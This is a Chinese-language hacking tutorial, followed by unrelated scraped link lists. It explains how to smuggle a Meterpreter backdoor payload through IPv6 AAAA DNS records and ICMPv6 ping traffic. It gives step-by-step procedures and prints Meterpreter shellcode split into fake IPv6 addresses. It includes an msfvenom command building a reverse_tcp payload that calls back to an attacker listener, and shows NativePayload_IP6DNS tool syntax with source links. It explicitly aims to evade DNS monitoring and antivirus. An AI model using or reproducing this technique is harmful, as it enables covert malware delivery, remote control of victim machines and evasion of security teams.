0x00 前言


在本文中,我想解释如何在DNS流量中利用IPv6地址(AAAA)记录传输Payload。在我之前的文章中,我解释了如何利用DNS和PTR记录,现在我们将讨论AAAA记录。

本文分为两部分:

第一部分:DNS AAAA记录和ICMPv6

第二部分:DNS和AAAA记录(大的DNS AAAA记录响应)

0x01 DNS AAAA记录和ICMPv6


IPv6地址对于传输Payload非常有用,让我解释下如何完成这个例子。

举个例子,我们有一个IPv6地址如下:

fe80:1111:0034:abcd:ef00:ab11:ccf1:0000

这个例子中,我们能将xxxx部分用于我们的Payload。

fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz

我认为我们有两种方式将IPv6地址用于我们的Payload,第一个是我们使用DNS和AAAA记录,第二个是使用这些IPv6地址和DNS AAAA记录,也是Ping6的ICMPv6流量。

ICMPv6和Ping6:这个例子中,你能通过虚假的IPv6和注入的Payload来改变攻击者的IPv6地址,然后从后门系统中,你能通过循环Ping6得到这些IPv6地址(ICMPv6流量)。

因此我们有下面这些东西:

(后门系统)ip地址 = {192.168.1.120}

(攻击者系统)ip地址 = {192.168.1.111

,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}

(攻击者系统)DNS名 = test.domain.com,和安装的DNS服务{dnsmasq或dnsspoof}

DNS AAAA记录和ICMPv6步骤:

步骤1:(攻击者DNS服务器)record0=>

fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 AAAA test.domain.com

步骤2:(后门系统)==>nslookup test.server.com 192.168.1.111

步骤3:(后门系统)循环Ping6=>(攻击者系统fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)

步骤4:(后门系统)通过Ping6响应在IPv6地址中转储出注入的Payload,转储这些部分{0034:abcd:ef00:ab11:ccf1}

步骤5:(攻击者DNS服务器)record0改为新的test.domain.com

步骤6:(攻击者DNS服务器)record0=>

fe80:1111:cf89:abff:000e:09b1:33b1:0001 AAAA test.domain.com

步骤6-1:(攻击者系统)通过ifconfig添加或改变NIC IPv6地址{新的IPv6地址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}

步骤6-2:关于步骤3的ping6的响应=超时或不可达(错误),这个时间是获取新的IPv6地址的标志,或者你的流量被某些东西检测到并阻止了。

步骤7:(后门系统)=>nslookup test.server.com 192.168.1.111

步骤8:(后门系统)循环Ping6 test.domain.com=>{新的IPv6地址fe80:1111:cf89:abff:000e:09b1:33b1:0001}

步骤9:(后门系统)通过IPv6的响应,从新的IPv6地址中转储出注入的Payload,转储这些部分{cf89:abff:000e:09b1:33b1}

注1:我们何时能知道IPv6地址改变了?当来自攻击者系统的ping6响应是超时或者不可达。你也可以通过nslookup检查。

注2:也可以使用多个IPv6地址为攻击者的NIC,这种情况下不需要步骤6-1。但是这样你不能使用注1。因此这种情况下你应该使用定时器或者循环通过nslookup或类似的工具得到来自攻击者系统的新的IPv6地址。意思是,从后门系统,你能逐行得到攻击者系统的IPv6地址和DNS Round-robin特征以及分组IPv6 DNS域名。

在这些步骤之后,你能通过DNS和ICMPv6流量得到20字节的Payload:

Payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==>0034:abcd:ef00:ab11:ccf1

Payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==>cf89:abff:000e:09b1:33b1

因此我们在两次Ping6之后得到这个Payload:

Reponse:0034abcdef00ab11ccf1cf89abff000e09b133b1

但是在这个技术中,你只能通过DNS流量做到这个,意味着你能移除所有的Ping6步骤。因此,如果你想不使用Ping6和ICMPv6流量就做到这个,你只需要步骤2和7,通过DNS响应从DNS服务器转储payload。但是我们将在第二部分中讨论讨论这个:(DNS和AAAA记录)

让我们展示一些关于ICMPv6方法的图片,没有代码和工具。

我将来可能会发布C#代码,并且也和这个文章一步一步介绍,但是我想展示关于DNS AAAA + ICMPv6技术的所有图片。

图A

在图A中,你能看到对于test.domain.com,我们有8个的AAAA记录,你也能看到这个IPv6地址的Ping响应,在这个技术中的DNS和ICMPv6,你能通过1或2下载DNS域名,然后如果你想使用ICMPv6,你能Ping6这些IPv6地址。

图A中,我们有8个AAAA记录,因此我们有8*10字节=80字节

1
2
3
4
5
6
7
8
9
10
11
 Meterpreter payload!
fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0 test.domain.com
fe80:1111:4151:4150:5251:5648:31d2:ae1 test.domain.com
fe80:1111:6548:8b52:6048:8b52:1848:ae2 test.domain.com
fe80:1111:8b52:2048:8b72:5048:0fb7:ae3 test.domain.com
fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4 test.domain.com
fe80:1111:617c:022c:2041:c1c9:0d41:ae5 test.domain.com
fe80:1111:01c1:e2ed:5241:5148:8b52:ae6 test.domain.com
fe80:1111:208b:423c:4801:d066:8178:ae7 test.domain.com
PAYLOAD0= fc4883e4f0e8cc000000 and Counter = ae0
PAYLOAD1= 415141505251564831d2 and Counter = ae1

因此我们得到payload=

fc4883e4f0e8cc000000415141505251564831d2

为什么Ping,我们何时通过DNS请求得到payload?

如果你想使用DNS请求,如DNS循环请求或者通过AAAA记录有大的响应的DNS请求,那么这对于·DNS监控工具检测是一种特征。因此如果在每个DNS响应之后对于AAAA记录你有1或2个ping6,那么我认为它是正常的流量,并且能通过DNS监控设备或者DNS监控工具检测的风险很小。

例如你能通过1或2或3个AAAA记录使用一个响应一个请求。意思是如果响应有4个AAAA记录,或者超过4个AAAA记录,那么可能有网络监控设备或工具将检测你的流量,但是在这些网络限制方面,SOC/NOC的家伙比我更有发言权。

正如你能在图A中我的test.domain.com请求在响应中有8个AAAA记录。

因此这种情况,我们应该在IPv6地址中将你的payload分组,DNS名也是一样。

让我解释一些ICMPv6的东西,如果你想通过IPv6地址ping一个系统,首先你应该得到那个系统的IPv6地址,因此你需要DNS请求,总是很重要的点是对于你要转储的所有IPv6地址和从IPv6地址中转储注入的Meterpreter Payload,你需要多少DNS请求?

一个请求?

如果你想通过一个请求和一个响应得到所有的IPv6地址,那么你将在一个DNS响应中包含大量的AAAA记录,因此被检测的风险很高。

看图A1:

图A1

并且在图A2,你能看见2个请求的长度,第一个是小响应,第二个是大响应。

图A2-如你所见,我们有两个DNS AAAA响应,第一个长度132(小响应)和第二个长度1503(大响应)

在本文中,我将通过类似图A2中的DNS AAAA记录转储所有的IPv6地址来解释一个请求和一个响应,但是在这种情况下我们知道DNS+ICMPv6也是有被检测的风险的,如在图A2 所见,我们的第二个响应长度很长,将导致被检测的风险。

两个请求或者更多?

如你在图B所见,我的payload在3个DNS名中{test0.domian.com,test1.domain.com,test2.domain.com}.

并且我一次ping6一个IPv6地址,且得到了100%的ping回应。

因此在这个例子中,每个响应中我们有包含两个AAAA记录的3个请求和3个响应,在每个DNSAAAA响应之后我们还有ICMPv6流量,最后我们也有一个小长度的DNS响应。

图B

注意:我的Linux系统有多个IPv6地址,Ping6回复在图C中。

你能通过ifconfig或者多个IPv6赋给NIC来完成步骤6-1,如图C。

图C

并且,图C1中是我们的DNS查询:

图C1

现在你能在图D中看到另一个请求和响应分组的例子。

图D

如图E所见,对于DNS请求和响应,我们的DNS服务器记录。

图E

无论如何,图中所见的这种方法技术上是可行的,将来我将完成C#代码。

0x02 DNS和AAAA记录(大的DNS AAAA记录响应)


现在,本文中我想讨论DNS和AAAA记录,并讨论如何通过从假的DNS服务器到后门系统的一个DNS请求和DNS响应得到这些payload。因此我们讨论大的AAAA响应,意味着在一个DNS响应之后,你能通过一个DNS AAAA响应,在后门系统上得到所有的payload和Meterpreter会话。

通过NativePayload_IP6DNS工具,使用DNS AAAA记录传输后门payload的步骤:

步骤1:使用hosts文件伪造假的DNS服务器。

这种情况下,对于攻击者系统,我想使用dnsmasq工具和dnsmasq.hosts文件。

在我们伪造文件之前,你需要payload,因此能通过下面的命令得到payload:

Msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost 192.168.1.50 -f c >/payload.txt

注意:这个例子中的192.168.1.50是攻击者的虚假的dns服务器,和攻击者的Metasploit Listener。

现在你应该通过这个payload字符串伪造hosts文件,如图1,你能使用下面的语法伪造:

语法1: NativePayload_IP6DNS.exe null 0034abcdef00ab11ccf1cf89abff000e09b133b1...

图1

现在拷贝这些IPv6地址到DNS hosts文件中,如图2,并且你需要在每行IPv6地址后面写入DNS域名。

图2

这个例子中,我想使用工具dnsmasq作为DNS服务器,因此你能编辑/etc/hosts文件或者/etc/dnsmasq.hosts。

它依赖你的dnsmasq工具的配置。

因此,如图3,你能使用如下命令启动DNS服务器。

图3.

在启动DNS服务器后,你的dnsmasq应该会从hosts文件中至少读取51个地址。

最后用下面的语法,通过一个DNS IPv6 AAAA记录响应,你将得到Meterpreter会话(如图A2中的大的响应,第二个DNS响应,长度为1503)

语法: NativePayload_IP6DNS.exe “FQDN” “Fake DNS Server”

语法: NativePayload_IP6DNS.exe test.domain.com 192.168.1.50

图4

总而言之,DNS流量的PTR记录和IPv6 AAAA记录对于传输payload并绕过网络监控或者类似的东西非常有用,并且这些技术也能绕过反病毒软件。

NativePayload_IP6DNS.exe的C#源代码:(DNS AAAA记录)

https://github.com/DamonMohammadbagher/NativePayload_IP6DNS

NativePayload_DNS.exe tool的C#源代码:(DNS PTR记录)

https://github.com/DamonMohammadbagher/NativePayload_DNS

利用DNS AAAA记录和IPv6地址传输后门的更多相关文章

  1. DNS解析中的A记录、AAAA记录、CNAME记录、MX记录、NS记录、TXT记录、SRV记录、URL转发等

    AA记录: 将域名指向一个IPv4地址(例如:100.100.100.100),需要增加A记录 NSNS记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录 SOASO ...

  2. 第11章 拾遗4:IPv6(2)_给计算机配置IPv6地址

    4. 给计算机配置IPv6地址 4.1 无状态自动配置IPv6地址 (1)网络拓扑 ①无状态地址自动配置是指不需要DHCP服务器进行管理,由客户端向路由器发送前缀请求(RS)询问其所在网段.路由器收到 ...

  3. DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器

    DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E ...

  4. DNS域名记录

    DNS域名记录 DNS数据库 在DNS的解析过程中用到域名的解析资源的记录,这个解析记录在DNS当中称为DNS数据库. 这个数据库又分为正解和反解,正解就是从主机名到ip的过程,反解就是从ip反响解析 ...

  5. 黑客是如何利用DNS域传送漏洞进行渗透与攻击的?

    一.DNS域传送 DNS :Domain Name System 一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53 常见DNS记录类型: 1 ...

  6. IPv6地址介绍

    IPv6地址介绍 2008 年 04 月 10 日 1. 认识IPv6地址 IPv4地址是类似 A.B.C.D 的格式,它是32位,用\".\"分成四段,用10进制表示:而IPv6 ...

  7. 通过DNS传输后门来绕过杀软

    前言 在本篇文章里,我想解释怎么样不使用加密数据的方法也能绕过杀软,同时我也想在github上分享源代码.https://github.com/DamonMohammadbagher/NativePa ...

  8. 常用域名记录解释:A记录、MX记录、CNAME记录、TXT记录、AAAA记录、NS记录

    A记录 A记录是用来创建到IP地址的记录. A记录设置技巧 1.如果想创建不带www的记录,即ezloo.com,在主机记录中填写@或者留空,不同的注册商可能不一样. 2.创建多个域名到同一个IP,比 ...

  9. dns资源记录类型

    资源记录的定义格式: 语法:name [TTL] IN RR_TYPE value SOA: name:当前区域的名字,例如"magedu.com.",或者"2.168. ...

随机推荐

  1. JavaScript 简介及语法语句

    JS脚本语言 全称JavaScript:网页里面使用的脚本语言                      非常强大的语言 基础语法 注释语法    单行注释//    多行注释/**/输出语法     ...

  2. 彻底理解容器类(2)------- AbstractCollection深入了解

    h2 { background-color: Skyblue } AbstractCollection认识 AbstractCollection是Collection接口的抽象实现.实现了一部分Col ...

  3. 【转】FLEX中SharedObject介绍及应用

    ShareObject介绍: 1 ShareObject,顾名思义共享对象,而通常意义上的共享,从B/S结构上来讲,无非是客户端(浏览器端)的共享和服务器端的共享了,不错,ShareObject刚好份 ...

  4. 持续集成:TestNG中case之间的关系

    持续集成:TestNG中case之间的关系   poptest是国内唯一一家培养测试开发工程师的培训机构,以学员能胜任自动化测试,性能测试,测试工具开发等工作为目标.如果对课程感兴趣,请大家咨询qq: ...

  5. sublime Text3+emmet(快速开发)

    sublime软件使用Emmet插件快速编写CSS样式                    基本的CSS样式编写时,很多样式只需输入首字母即可得到不带属性值的CSS样式,像上面说到的margin.而 ...

  6. rancher api key

    rancher将docker容器的界面化做的很好了,但是我们有时间需要在别的地方查看容器的一些信息,怎么办呢? rancher自己提供的有api 点击api查看 我们能够查看到该容器的一些信息,实际上 ...

  7. SQL Server特殊用法笔记

    1. MERGE用法:关联两表,有则改,无则加 SQL语句: create table #AAA(id int,A int,AA int,AAA int,B int) create table #BB ...

  8. Python JavaScript概述

    一.如何编写? 1.JavaScript代码存在形式 <!DOCTYPE html> <html> <head> <meta http-equiv=" ...

  9. 倒排索引的AND操作

    这是一道来自百度的面试题.倒排索引的AND操作. 倒排索引是以关键词作为索引项来索引文档的一种机制,如图中Brutus.Calpurnia.Caesar为关键词,2.4.8等等为文档ID. 现在有一个 ...

  10. MySQL用户认证及权限grant-revoke

    一.MySQL用户认证: 登录并不属于访问控制机制,而属于用户身份识别和认证: 1.用户名-user 2.密码-password 3.登录mysqld主机-host 实现用户登录MySQL,建立连接. ...